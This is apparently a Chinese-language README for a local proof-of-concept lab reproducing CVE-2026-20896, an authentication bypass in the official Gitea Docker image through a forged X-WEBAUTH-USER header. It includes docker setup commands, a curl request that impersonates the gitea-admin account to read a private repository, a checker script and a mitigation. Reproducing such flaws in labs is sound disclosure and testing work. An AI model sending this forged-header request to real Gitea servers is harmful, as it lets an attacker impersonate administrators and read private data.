[!WARNING] 仅在本地实验室或针对您明确获得授权测试的系统上使用此 PoC。
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 是受影响官方 Gitea Docker 镜像中的认证绕过漏洞。当启用反向代理认证时,镜像生成的 REVERSE_PROXY_TRUSTED_PROXIES = * 设置允许能够访问 Gitea 后端的客户端通过 X-WEBAUTH-USER 请求头冒充现有用户。
该实验环境创建了一个名为 gitea-admin 的管理员账户(使用随机密码),并将 CVE-2026-20896_AUTH_BYPASS_CONFIRMED 存储在私有仓库 gitea-admin/private-proof 中。在不知道随机管理员密码的情况下读取该文件即可证明绕过漏洞的存在。
| 类别 | 版本 |
|---|---|
| 存在漏洞 | 官方 gitea/gitea Docker 镜像 ≤ 1.26.2 |
| 首次修复 | 1.26.3 |
| 推荐版本 | 1.26.4 或更高版本 |
存在漏洞的配置要求启用反向代理认证,并且 Gitea 后端可直接访问,或上游代理保留攻击者提供的身份请求头。此本地复现不需要反向代理容器。
# 构建
docker build -t cve-2026-20896-gitea-vuln .
# 运行
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
等待几秒钟,让 Gitea 和私有证明仓库完成初始化。
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
成功利用将返回 CVE-2026-20896_AUTH_BYPASS_CONFIRMED。
python poc.py http://127.0.0.1:3000
该脚本会比较未认证、非管理员和伪造管理员请求,并在确认授权绕过时输出 VULNERABLE。它需要 Python 3.10 或更高版本,且仅使用标准库。
REVERSE_PROXY_TRUSTED_PROXIES 限制为受信任的代理地址。docker stop cve-2026-20896-gitea-vuln